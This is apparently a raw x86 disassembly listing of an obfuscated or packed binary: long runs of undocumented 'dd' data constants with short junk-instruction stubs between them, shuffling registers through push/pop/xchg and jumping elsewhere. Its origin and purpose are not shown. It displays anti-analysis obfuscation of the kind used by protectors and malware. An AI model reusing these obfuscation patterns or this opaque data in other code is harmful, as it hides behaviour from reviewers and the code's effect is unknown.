		dd 0B9188858h, 105FBB5Bh, 0E6248D89h, 33D7C426h, 12A13F89h
		dd 2B72FFBh, 39E78C0Bh,	89A13F80h, 3F7F3EE2h, 93F9FAA1h
		dd 0ABE70340h, 0C224F02Ah, 0B8640F9Dh, 70A13F7Eh, 80C57863h
		dd 0C0DB7A6Eh, 90FA1E7Ah, 0CB081253h, 6ADB50D0h, 38A92890h
		dd 2CC74059h, 99566D00h, 107ABBB8h, 59F492D3h, 6D069A0Ch
		dd 0A1424178h, 61075BAh, 0BE235C5Eh, 6279BE62h,	8A4B599Ah
		dd 0C858488Ch, 6B08FD23h, 22EC591h, 0C6916B09h,	851C5FB5h
		dd 8E4E4C0Dh, 6947CF5h,	44E10F2Eh, 817h, 0FDE5356Dh, 79F3F5Ch
		dd 158D59B2h, 39A169A4h, 4C5A7A98h, 0E2208C96h,	0FB15A422h
		dd 0A06CBD3h, 2279D8C6h, 0B173E8F6h, 2F98163Ah,	65C7D2A9h
		dd 158D514Fh, 2FBD6DA4h, 4FAB77AEh, 9AFC2862h, 0F58D1455h
		dd 0EEB17E41h, 2DF91202h, 0ED9311E0h, 0C70C6EB2h, 65BC1B86h
		dd 6CA627B5h, 0A14A46A0h, 0A13FF67Bh, 0DCFF3C3Fh, 76801BC3h
		dd 0BB5FBB1Ah, 0AE7A9120h, 56489D30h, 27E0A942h, 9DE2A929h
		dd 11F1B445h, 0E68A985h, 36D63392h, 25F52CABh, 0D9051CBDh
		dd 0C1D75A9h, 2869BADAh, 39A6EBh, 0B69A1183h, 72995725h
		dd 0D1C62061h, 209D4888h, 14887E80h, 4B52DFDh, 0BE66BF0Dh
		dd 0AD741B5Ch, 0FC5B6C26h, 9F1C7EBFh, 12117FAEh, 4CAF574Bh
		dd 6AEE5E3h, 1092BF6Dh,	37787B12h, 299AB29h, 168C5CB3h
		dd 5ABC6CA3h, 0F3DB646h, 821210D0h, 25364286h, 0D00035BEh
		dd 88831210h, 405B2640h, 0C727E98h, 285A20DAh, 0B8376EBEh
		dd 10D00D33h, 438B8412h, 83D03827h, 9EF54442h, 10552872h
		dd 58610A9Eh, 0DA19F9E6h, 0C0810199h, 0FAF91DC5h, 0F317BBD7h
		dd 0ED7AD5CCh, 4342E9FBh, 311210D4h, 6AD3D822h,	23023E9Dh
		dd 4BABE71Fh, 3FAB179Bh, 387h, 0F25ED565h, 0B6023E95h
		dd 0BD9A3EA5h, 0CBF707Eh, 0F39FBEB7h, 62E75A41h, 0BED75C4Ch
		dd 0D4A928BDh, 1ABBEF87h, 59C2D9FDh, 1A65432Fh,	9D0FA126h
		dd 30AA3716h, 9E15A520h, 105E93B2h, 967E6576h, 9CF65745h
		dd 93A48823h, 1764105Eh, 7A4BCBD6h, 73EBF7EDh, 65943D57h
		dd 0E83FB424h, 86184B2Fh, 9B06CEC7h, 0D3726675h, 0C3766CBCh
		dd 84631CCCh, 97B91F7Bh, 649EC89h, 67BF0000h, 71AE23BBh
		dd 8B8435ADh, 9BF65B43h, 0ACEA6F77h, 5AC47268h,	0EEF41876h
		dd 0FDE5316Bh, 298405Ch, 1288584Fh, 0E04CE7A5h,	98A92F98h
		dd 1653B31Dh, 0C1801080h, 97FA1CC8h, 0D32547Ch,	6CB0EDCCh
		dd 0B59DEC75h, 54A7A928h, 0A6FF5E32h, 0CCD71C7Eh, 0A0CA160Dh
		dd 7A9130A0h, 0A4074CAEh, 1847A36Bh, 3F796D81h,	0FA434AAh
		dd 0A13F847Eh, 0EA6F7784h, 0D47567B3h, 0CB0812BAh, 445B26D0h
		dd 25597294h, 0E4346BC1h, 1B3145FEh, 7C591BE9h,	7F000002h
		dd 10801653h, 2F954F9Bh, 0C9CDFA9h, 178F4F4Dh, 0FDB3293h
		dd 5EFDE4EBh, 3D7A9C40h, 994F740Ah, 0DB38869Dh,	5F90DF3Bh
		dd 0EA69953Dh, 4A3774CFh, 26223F89h, 7CD17C9Ah,	0F2000005h
		dd 0E1504E9Ah, 0D77A60A4h, 0C98816BEh, 3D9C0ACEh, 9A73FDFh
		dd 894D4B27h, 0BE66A011h, 0AD759120h, 5D8D8435h, 911AEE45h
		dd 0A92F99ABh, 538E2A6Fh, 9B108016h, 0A92F954Fh, 177A9CDFh
		dd 7CAD000h, 40D0C010h,	3C2EA2EFh, 95027552h, 994E9AA7h
		dd 8D891063h, 0D93DED24h, 326A9C8Eh, 13970FDBh,	9A44E883h
		dd 0F704994Eh, 0A22373ECh, 0CC571407h, 9000001h, 6E88584Fh
		dd 327AFD32h, 0AA9F12E8h, 0A3C70B07h, 7F9625BCh, 4D9A4B53h
		dd 0DF3BDB39h, 0B1415390h, 0CD29F910h, 4B961B86h, 0B9A928DCh
		dd 0AA9E8229h, 195A9956h, 6B797A82h, 0AAEC50DBh, 0AFAC9956h
		dd 61CEC234h, 0EA810268h, 99576646h, 29BCF102h,	12FC479h
		dd 0B999575Dh, 0C56E75BAh, 99575C53h, 91FCEA14h, 82424001h
		dd 575D2715h, 799CE399h, 8B652BCBh, 803DA4E5h, 13FEC974h
		dd 4FE4h, 1653B800h, 0F0801080h, 8465CB60h, 0D625A13Fh
		dd 3F8473D9h, 0FC7737A1h, 0A13F8450h, 1F8ACB08h, 289EE78Ah
		dd 0A2FC5DA9h, 5A996F7Ah, 6AD17B30h, 69A9956h, 15B24129h
		dd 0A912711h, 50A4F214h, 3813FFF1h, 0A3h, 68ACE968h, 7EDAC10Eh
		dd 1888584Fh, 191AADD7h, 1471EEABh, 0EE28B3F0h,	25418583h
		dd 7195455Ch, 0B129F910h, 0CB799031h, 0A2C405D1h, 0DC001EBDh
		dd 852EB5BAh, 0A13FD861h, 851DCDC4h, 97059B28h,	2BA4671Ch
		dd 0F3AEB1A9h, 0A7951ECFh, 639953B3h, 516DDF10h, 450494D5h
		dd 0BA1F8747h, 0CC7B85Ch, 1F263921h, 3D554F1h, 0F32B0000h
		dd 0FD1ABF27h, 1770C1D9h, 2762D7CFh, 3856FBE3h,	0CE500E94h
		dd 7A60A4E2h, 8911BDD7h, 9E04CCC8h, 0AE34E43Bh,	54F87331h
		dd 14A92F9Bh, 514F2781h, 6DA4158Dh, 4F9125BDh, 36E8858h
		dd 6FC6DC0Ch, 5FD4C4DAh, 0A9289B8Eh, 0CB95836Ch, 5599F749h
		dd 1F509139h, 0D9007C96h, 0F41C8774h, 4E0F83E7h, 0EB51DA55h
		dd 0AF995619h, 0EF746FACh, 9956193Fh, 0BD20C638h, 199A862Dh
		dd 1D5E9956h, 89E2B86h,	30CA1398h, 9130A13Fh, 0CC34AF77h
		dd 2F6CB0EDh, 789233B7h, 7E8335ACh, 0FB1FC3DFh,	376EEDF4h
		dd 0B2138FEBh, 0A928B357h, 8538A672h, 9B3AAE40h, 0C3415880h
		dd 289DA528h, 0B2D427A9h, 0FE267FDEh, 6CCE7EE3h, 65999956h
		dd 0CCE13581h, 568913FFh, 0CF000000h, 10801653h, 4996DDDFh
		dd 1D966445h, 0A1404A2Fh, 30ABE8EBh, 64563BB0h,	4794A929h
		dd 0FB806F23h, 0C20A0387h, 7276BBB8h, 6AFFEACCh, 9956B1C2h
		dd 0C6871785h, 0A38906CAh, 679956B1h, 75918D14h, 0FF8BDD39h
		dd 0AEEB6A13h, 6AA50C6Eh, 0D7A61A6h, 0C0h, 88584F43h, 0C105036Eh
		dd 15C5DCA5h, 0A97990F1h, 8950AA31h
		dd 0DE35A13Fh, 0EE259432h, 7F56FA71h, 3D5BA13Fh, 23607399h
		dd 0B03BCBC7h, 0A13F7F8Ch, 39940F4Ch, 0DA63AACh, 0A928A110h
		dd 32DA3392h, 8F0EBE8h,	0E562D3CBh, 174AE1F3h, 75A14237h
		dd 0BBD7266h, 0F7ABC7A0h, 5FFBE7F7h, 8FCD1512h,	0D7359414h
		dd 0EC2AAF37h, 7DC65728h, 7B852E06h, 236D2h, 84544C00h
		dd 0BE5EBB1Eh, 0AC789120h, 40888336h, 7599F75Ah, 16DF76Dh
		dd 76DBC303h, 67EAF01Ch, 5AFFE72Bh, 500F9743h, 9DF55BD0h
		dd 0E0B5A92Fh, 0C5DF7E44h, 0D5338219h, 0F128A931h, 9929B921h
		dd 3F852E12h, 908BEAA1h, 24900B48h, 10801653h, 289EF69Bh
		dd 4B4534A9h, 3B786783h, 27EF28A9h, 0E9465ABCh,	0E228399Ah
		dd 0FA6F7A5Bh, 99567E52h, 9EFDE915h, 7EB7650Eh,	60739956h
		dd 0BEB0C479h, 0E3D813FFh, 0FC000000h, 6E88584Fh, 1ABFFD32h
		dd 4A874745h, 0A8332FE1h, 0CF2BEB29h, 38B343D3h, 0A1401414h
		dd 220E87D4h, 0E6A14014h, 81650E95h, 0E4A14018h, 0E5657DADh
		dd 7098F455h, 7CA02916h, 3CA1400Eh, 0FE15A43Fh,	70F5C8D2h
		dd 444E1872h, 3370BC30h, 0C3170AA1h, 84F5A928h,	851D428Ah
		dd 97059B28h, 0D135D936h, 0F279F792h, 0A1425520h, 0B134EB44h
		dd 0D58DF586h, 0CCD714B8h, 0C33C5544h, 6AAF0428h, 76B7C491h
		dd 0FAEE2F14h, 1A71856Ah, 50C0EE3Dh, 488C8A49h,	1FA1FF52h
		dd 0E69BD808h, 2E063107h, 0C9F2640h, 62000001h,	51E0FE2Ah
		dd 470A9034h, 0B918864Eh, 0AD2CBA5Eh, 9937AF6Fh, 39DD3B97h
		dd 2EF610A1h, 0DD0501B0h, 0CD1D74C5h, 1AA7ED5h,	0A92F9F1Bh
		dd 4F7EDADFh, 12B2EF51h, 4889554Fh, 78A8FF52h, 584FEA62h
		dd 2465B1EAh, 78A8FFC2h, 0A3748768h, 74885C6h, 47A36BA4h
		dd 54098118h, 7B0B990Fh, 0E82C6AEBh, 0E448418Eh, 0A4A1406Fh
		dd 0FA74C57h, 0DFA93080h, 5E78A44Fh, 0A3489950h, 99505E7Dh
		dd 81D23E3Dh, 0F9F7AF4Ch, 435E94ECh, 0DA46EDBDh, 9E994FBBh
		dd 97FA1C5Dh, 874A5080h, 3DE92290h, 3A5C809Eh, 0E592F435h
		dd 0F3847552h, 48527E95h, 0FEEB2F69h, 4758400Fh, 2C274380h
		dd 2CF20CFAh, 0F989F412h, 1B2ACE72h, 52498A3Fh,	667CACE3h
		dd 0E32763E2h, 0F2415887h, 462B4F9Bh, 7F63874Bh, 2878806Fh
		dd 11428682h, 0F1E85156h, 5CB3E91Dh, 6CA3168Ch,	14B35ABCh
		dd 0D1000000h, 4701EE7Eh, 0E0FBFB35h, 85C66A63h, 7182A13Fh
		dd 4F422E6Ah, 26F8B57h,	0D6BBDF0Bh, 0ADF416BAh,	624FAB73h
		dd 3B86E024h, 0F4DD39DDh, 4C157199h, 26F8B53h, 0B7A5C105h
		dd 7DAD68h, 240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	2504h
		mov	[esp], ecx
		push	ebx
		push	4A8D41F1h
		pop	ebx
		not	ebx
		and	ebx, 52FC3CD6h
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0F77FD4E9h
		mov	edx, ebx
		pop	ebx
		push	47C5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [ecx+8]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		dd 94657D65h, 0F922BCE0h, 0F01B5EB8h, 0FFC50307h, 80AD5DE0h
		dd 8391A135h, 0C68FF318h, 97E5D714h, 0F94CA11h,	98461171h
		dd 6276BA56h, 1CC6E164h, 0BFA79B60h, 113B1162h,	0CF35F912h
		dd 29ED693Ch, 0C2FD291Eh, 40958138h, 4D4F5313h,	43277502h
		dd 7C18605Fh, 0AADD8406h, 0AA12570Bh, 0A5C9176Ah, 2BF6E857h
		dd 0AB5BAA47h, 0AE6E994Ah, 7D93F725h, 0AFAA141Bh, 390DF80Ch
		dd 2227060Dh, 0BD1B9045h, 0E7B85158h, 6B25A950h, 14E803h
		dd 18CE0000h, 2156A81Bh, 1C6F2DE4h, 0C702EF3Ch,	10129E9h
		dd 8166FAA9h, 596581F0h, 0AE8h,	94A95300h, 2ADB5CF4h, 5E72AF3Bh
		dd 6A89C181h, 81660000h, 0BB2318C8h, 7988C850h,	0D23FF381h
		dd 0C8817988h, 465B5CF9h, 0C2B831FFh, 5F071363h, 700CF781h
		dd 12E80A21h, 1A000000h, 3C6E0453h, 0EF04741h, 0BE64E68Dh
		dd 0D52E173Dh, 0E68166B2h, 8158D1DCh, 5A2CF1C7h, 2FF08050h
		dd 0FF93C781h, 820F7FF6h, 14h, 8E8h, 4E5F0000h,	24027A59h
		dd 840FC2h, 5A000000h, 7E93989h, 83000000h, 43C16182h
		dd 0E9816613h, 3728C021h, 0C1810CB0h, 3728C01Dh, 38E0Fh
		dd 0BF0F0000h, 850F4BC0h, 0FFFFFF80h, 5870Fh, 81660000h
		dd 8D69BED6h, 0F01E108Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0D5DE5B9Fh
		dd 2432FF62h, 3890F72h,	66000000h, 0DBBBF08Bh, 8951C399h
		dd 0E9320D8Dh, 77D68107h, 0F4CF8AAh, 85C7C1BFh,	7E922E5h
		dd 672Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	83C35141h, 5EE80BBAh, 85C79336h, 7E922B1h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 63C35242h
		dd 9C0ED14Dh, 17E9ADDCh, 0F5B5293Ah, 8007E917h,	0B5FF09DBh
		dd 7E93151h, 2061B529h,	95FF07E9h, 7E92285h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 6A51E660h
		dd 3195FF00h, 8B07E90Ch, 1A48EBC0h, 5AA1D210h, 0EB72DF76h
		dd 0EB14288Bh, 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 241F9ECAh
		dd 0A48A4109h, 0CC6CE185h, 0E8207A87h, 74EB251Dh, 78291E2Ah
		dd 719D4513h, 0B438B540h, 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h
		dd 0E9C1CFA5h, 30h, 5FA359B5h, 0Bh dup(0)
		dd 508E9h, 1FA96800h, 23E907F0h, 68FFF95Dh, 7F02028h, 0F95D19E9h
		dd 219968FFh, 0FE907F0h, 0FFFFF95Dh, 27911C5Ch,	68C46913h
		dd 9F39B4C6h, 0CC680587h, 4AA25329h, 0C688DEDh,	5EDE3761h
		dd 0AAD265D7h, 0F183A90Bh, 128F1B7Ch, 286CA692h, 781A4882h
		dd 0C4F3B3EEh, 871D305Ch, 0C4FCBCF5h, 8E14305Ch, 99E376A2h
		dd 91E30945h, 74346D07h, 54305CC5h, 5C66BE3Ch, 3B867230h
		dd 0C862F560h, 5991EB0Ch, 0A30B524Fh, 198B37B5h, 0A3805CC5h
		dd 0D6782873h, 0D87C58A4h, 0ADA742A2h, 0B472EE0Ch, 0BE7AF828h
		dd 966EAB52h, 0D08C1A02h, 31Fh,	35B93FF2h, 661BAD3Ah, 37B59F73h
		dd 0BFC15743h, 4FCF5D67h, 1F9DF551h, 381F32D3h,	0B26054Dh
		dd 0B4970A9Ch, 62326711h, 0E29FC40h, 6BF38DAFh,	9721B7C1h
		dd 0F3532DCFh, 0F2AF39F1h, 2A7DD79Ah, 64FE881Ah, 21256F8h
		dd 9012F280h, 9CDE7C58h, 0D153420Ah, 36BB770Dh,	6B06709Ah
		dd 26C0E11Ch, 4F33A4B8h, 0E3000003h, 2B852848h,	5CF87507h
		dd 832DC0BAh, 309C1193h, 46D65F1Dh, 185CF1E1h, 6AEA3B95h
		dd 0B6C669CBh, 0FD7F9D3Fh, 1E930F70h, 286CA59Eh, 0B3664476h
		dd 0ECA537A0h, 384CA546h, 0B44ED8CAh, 6CA5BDFDh, 9B4A5728h
		dd 0CC58A835h, 0A9C54EAh, 20CDAF42h, 621F61F4h,	286C1F22h
		dd 7E25B0F2h, 69CABC3h,	0C68E18AEh, 0E8FA4A34h,	9835EC00h
		dd 52286BEEh, 5E33BEB8h, 7E3410DBh, 2D0F1E6h, 0C9620000h
		dd 86AA06AFh, 39DF79F4h, 1202AE47h, 9EB31D90h, 60D957DEh
		dd 169FDD70h, 44E96BBAh, 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch
		dd 0F1286CA5h, 0A0B3E5DBh, 430BA537h, 6D77CFA9h, 0FF3BB9E9h
		dd 4CA6280Eh, 0A4B61E38h, 0B0780ADAh, 700ED6CCh, 0F03842D4h
		dd 6CA6B511h, 6A7AB28h,	20F9EBD5h, 1D50B8Ch, 4A5F0000h
		dd 33B1E0A0h, 0E343D1D3h, 0BA3B45D7h, 49E374E7h, 7DFF17BFh
		dd 0C4F6B6EBh, 841E305Ch, 0ABBEDDACh, 0F8D437B5h, 4D912755h
		dd 73ABF8D4h, 0B960EC28h, 19F5A818h, 0D1C18D8Ch, 55F1F353h
		dd 237EBAC2h, 46h, 37A0B387h, 710BA5h, 305CC580h, 27261290h
		dd 37B5ABA8h, 5E68B4EEh, 0EB6629C4h, 2FF01DABh,	72DB3A7Ah
		dd 31712028h, 0E32872DBh, 4DE1CDC1h, 0B051992Fh, 2872DB14h
		dd 74A544C8h, 8C1ACA8Ch, 0DCEAh, 0A04AF800h, 0AF420ED6h
		dd 0B74571CDh, 86AB33C5h, 5C942EF6h, 0C6DE8600h, 86A8044h
		dd 5642AE34h, 0AB3BBAC4h, 856D0F23h, 5CBF86C4h,	2948E230h
		dd 1AC64973h, 0CB500F82h, 51B2CB62h, 73A29BCh, 531F410Fh
		dd 73A32BBDh, 5B972DF1h, 87100356h, 8D1058F5h, 0D2BBC005h
		dd 6EF68066h, 566CB0CAh, 9C12EB9Ah, 0FE6637B0h,	0C5DF2759h
		dd 8923816Dh, 0A14C28CDh, 1F9AE277h, 340C266Ch,	5FEBDC10h
		dd 0D3000001h, 1BB53838h, 4CE885F7h, 0F35DD0AAh, 208C21A3h
		dd 56C66F0Dh, 284CE1D1h, 7AFA2B85h, 0C6B659FBh,	0D6F8D2Fh
		dd 0EEA3FF60h, 286CA3AEh, 4A765466h, 0E0A0D1A7h, 0CA305CC4h
		dd 5CC4D7D7h, 2B6B3930h, 0EE4AEB79h, 8BF1044Ch,	19B29BBh
		dd 0A2F2B045h, 30C6DC20h, 971AD6ECh, 0D6A04A33h, 4769844h
		dd 6110AA38h, 305CC521h, 2579B1F3h, 1090019Bh, 305CC5h
		dd 0C86256A2h, 60B01CAEh, 0A6D07AE2h, 0E1EC445Eh, 4130A34Eh
		dd 305CC541h, 27E5D6D3h, 83619772h, 0D4CD5FEDh,	37B1BD1Ah
		dd 2F4DE06Ch, 2751FBD7h, 0FB37C5DFh, 61FB8D17h,	0CD2557E5h
		dd 0BD3044E9h, 72BBEAC6h, 0E688228h, 54203567h,	98D788h
		dd 0B36F0000h, 8A537A0h, 3456D641h, 8F86466Ah, 47B3310Dh
		dd 360E3061h, 6DF8384Ch, 0BC5ADE5Fh, 0E68A66A3h, 8FA22ABCh
		dd 0A79311EDh, 0D7AD4F0Bh, 6C8CDADAh, 0B85E3A28h, 13A230C6h
		dd 15E98BA1h, 380EB16Ch, 0DB594960h, 0D4A84F0Bh, 190EDDDDh
		dd 0DF6D37D0h, 7A64A07h, 1FBE52FBh, 54544DE7h, 45D0190Fh
		dd 0F520B435h, 53513D93h, 5F1933E7h, 688C48D6h,	58F22612h
		dd 9A8AC61Eh, 0ADD3C418h, 0A053EA0Ch, 48EC75F2h, 0B44672BEh
		dd 63892BCAh, 39ACD11h,	24000000h, 0A14AF654h, 0A9430FD7h
		dd 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h
		dd 0CD636FB7h, 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	46C5h
		mov	[esp], edx
		push	ebp
		mov	ebp, 2B7F7106h
		shl	ebp, 2
		inc	ebp
		xor	ebp, 0AA0DDAACh
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, ecx
		mov	[edx+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 28h,	1, 12h
		dd 231DB8B2h, 0C50307F0h, 5407E0FFh, 0D03E4FCEh, 9CAF7ECEh
		dd 19FF5B61h, 0EF3932D7h, 11550D54h, 0CAD207D2h, 9BF40442h
		dd 0D742300Ch, 8A357F1Ch, 0C87030C9h, 0D35A200Ah, 585F23DDh
		dd 4EB846CAh, 0B1D07FA7h, 53FA71FFh, 0D53254EFh, 0DE51317Fh
		dd 0D75B2E10h, 325877E8h, 78397C0Bh, 0C4829BBh,	0E0F13737h
		dd 9BF767B7h, 0C27C4E0Bh, 2E03100Ch, 0E5870019h, 8D8D0F13h
		dd 7F024E2h, 29D9BD89h,	8D8907E9h, 7E9320Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6BC35747h, 665031A1h
		dd 0C75FD18Bh, 0E922E585h, 6C5407h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 88E40604h
		dd 7D0A39AAh, 38C0Fh, 0F3800000h, 0FEBF66D4h, 0B185C754h
		dd 7E922h, 0F000000h, 68Bh, 4D958900h, 0FF07E92Fh, 0E90E1DB5h
		dd 0EE907h, 0E840000h, 85C3F4D9h, 1714C456h, 15FF9BFh
		dd 228595FFh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0B1D1FC3h, 0E9263995h, 0FF006A07h
		dd 0E90C3195h, 0EBC08B07h, 48A6BE6Ah, 384E7CD4h, 0E05D8267h
		dd 9376E6EFh, 0C20CFC19h, 759392ABh, 81C1AFA0h,	0CED18DBBh
		dd 0E0E78FAAh, 1F342789h, 8390887Ah, 0BD750EA8h, 82561B6Eh
		dd 0BC1CEF36h, 0E37FF0DEh, 737F00B3h, 0C778BD07h, 4758A9BFh
		dd 0BCB3BF91h, 8555EA87h, 4849D208h, 0A7348F61h, 0DBFD6126h
		dd 0F0450C55h, 0F4DCB5FCh, 4914D6E4h, 8DC6054Ah, 0F026468Dh
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 2E6BED6Eh, 82DB589h, 8D8907E9h, 7E9320Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 85C35646h
		dd 1C6A05A6h, 6087D669h, 0C761CC8Ah, 0E922E585h, 57EC07h
		dd 9B58B00h, 0C707E91Ch, 0E922B185h, 7,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 44F57C71h, 0FEB8DD33h, 0E8DF8B66h, 0Bh, 57D9838Fh, 2D4DE792h
		dd 0BE1523FEh, 74454D88h, 79B5FF58h, 6A07E922h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 29D3C357h, 0E900B5B5h, 6890F07h, 89000000h, 0E923558Dh
		dd 8595FF07h, 907E922h,	0E92B3D85h, 0FF006A07h,	0E90C3195h
		dd 0EBC08B07h, 5EE9025Fh, 1555FA45h, 93B167FDh,	0B675D182h
		dd 94A7020Fh, 1EB1D83Ah, 6FA537E6h, 8E32D924h, 0A217C12Dh
		dd 1E6D4AA1h, 9EFDE2CAh, 0CACEB128h, 0D6E64FB2h, 8DC10376h
		dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h,	4E6F6FF6h
		dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h,	574D4182h
		dd 0AE8h, 30E6D100h, 3276B79Ah,	0E9AC7415h, 0Dh, 92ADE732h
		dd 0F20BD415h, 88C44A2Eh, 0B70F588Ah, 0E8C081D8h, 0F000061h
		dd 0C80h, 6850F00h, 0F000000h, 80h, 184D6800h, 840F0000h
		dd 6, 25418589h, 0F5F07E9h, 30FFF6BFh, 805A5B50h, 0C28190E5h
		dd 235378Bh, 81CBDF80h,	304FEF2h, 0FE852h, 6A8D0000h, 0F8CB8454h
		dd 0D625D687h, 4FF94FEBh, 0CD8D8B27h, 5E07E907h, 82F1F281h
		dd 5E87D24h, 0E6000000h, 1CCC1331h, 22C19D8Bh, 525B07E9h
		dd 38E0Fh, 0B70F0000h, 0B1008FC9h, 4E883E8h, 0EF83C88Bh
		dd 9B850F01h, 8BFFFFFFh, 0E9086D9Dh, 11E807h, 0B5600000h
		dd 87F732D8h, 1D4981FFh, 33235CDCh, 8B7886F2h, 0C5B859F3h
		dd 8124A7BAh, 5DC7C1h, 0D9B70F00h, 5256D233h, 5B59EB80h
		dd 0A34FF5Bh, 8E8h, 45390F00h, 82862C5Bh, 91858986h, 5B07E926h
		dd 0E2CE815Fh, 814F29A4h, 0A4298FC7h, 0C28B665Ch, 0D452EF81h
		dd 8B664BBFh, 0A8C781F0h, 0E8474C47h, 10h, 7D26FB7Dh, 3EDB50E8h
		dd 5BA8461Bh, 0F2A69861h, 113C8958h, 68A0Fh, 0B50B0000h
		dd 7E92655h, 1BE99589h,	0EA8307E9h, 0A98D3104h,	8107E923h
		dd 0FFA2DCFAh, 8A850FFFh, 8BFFFFFFh, 0E90C59B5h, 0DD8D8D07h
		dd 6A07F028h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 2D2AC352h, 0BB080465h,	0F603C7Ah
		dd 8961CFB7h, 0E92E3195h, 0D8D8907h, 6A07E932h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0AB52C352h, 0F1C4F982h, 0D813B83Bh, 85C7506Eh, 7E922E5h
		dd 6844h, 2AAD958Bh, 85C707E9h,	7E922B1h, 0
		dd 23D9BD8Bh, 0B5FF07E9h, 7E9170Dh, 16F59D03h, 95FF07E9h
		dd 7E92285h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0ABC35545h, 436DA10Fh, 0ECCB811Fh, 8058D68Dh, 858933D2h
		dd 7E93571h, 95FF006Ah,	7E90C31h, 28EBC08Bh, 5C89F774h
		dd 4087425Eh, 0AB01F36Bh, 840F688Bh, 9DD6CFA4h,	5241B44h
		dd 0D6F2E330h, 372F1D9Ah, 0B92A2124h, 462D05BBh, 2A4A8D8Dh
		dd 6A07F0h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0B56DABC3h, 0D8D89C3h, 6A07E932h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0FADFC355h, 0E9C51A07h, 12h,	7F85C2AEh, 67CA456Eh, 62EC2544h
		dd 4756C630h, 85C73A8Fh, 7E922E5h, 5C78h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 0D0C35747h, 5172DD1Dh
		dd 60E3731Bh, 13E8h, 0CE29CC00h, 0C98A6472h, 0AEEE08E1h
		dd 0C1802C9Dh, 4790AC6Ch, 0C498D89h, 15907E9h, 0E9181995h
		dd 85C76107h, 7E922B1h,	0
		dd 0B7C1C781h, 0B58B3E44h, 7E907ADh, 0E1DB5FFh,	6A07E9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0D10567C3h, 0E921A476h, 0Dh,	7E8AC303h, 7DADB2Ch, 0DBE0493Ah
		dd 8595FFEEh, 6A07E922h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 2806C350h, 0BE9C9h
		dd 0C39E0000h, 0F444D837h, 3722DA0Ch, 0FF006A41h, 0E90C3195h
		dd 0EBC08B07h, 339AE46Ah, 5E71F3DBh, 85AF645Dh,	1CBB6A9Ah
		dd 13F0DC8h, 0D128A7Fh,	0B7547B11h, 85CA5300h, 0D56DCBB7h
		dd 0BA7BCFFFh, 20FD2453h, 899A9A15h, 35850079h,	69B4A899h
		dd 1D261BDEh, 10414F43h, 886CBD13h, 3924CFC2h, 221B9A3Ch
		dd 55A9126Eh, 1CF8DAC2h, 4B007F57h, 21B10507h, 0DAF46A2Dh
		dd 6DAAF4FAh, 80A3AD7Eh, 8D6DECDEh, 0F02BB48Dh,	55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 30BE011Ch, 0BFDF9942h, 6850F71h, 2B000000h, 0E91B85B5h
		dd 0D8D8907h, 6A07E932h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B22C356h, 0E908F585h
		dd 0E585C707h, 0F807E922h, 6A000057h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 5F4C357h
		dd 22B185C7h, 7E9h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
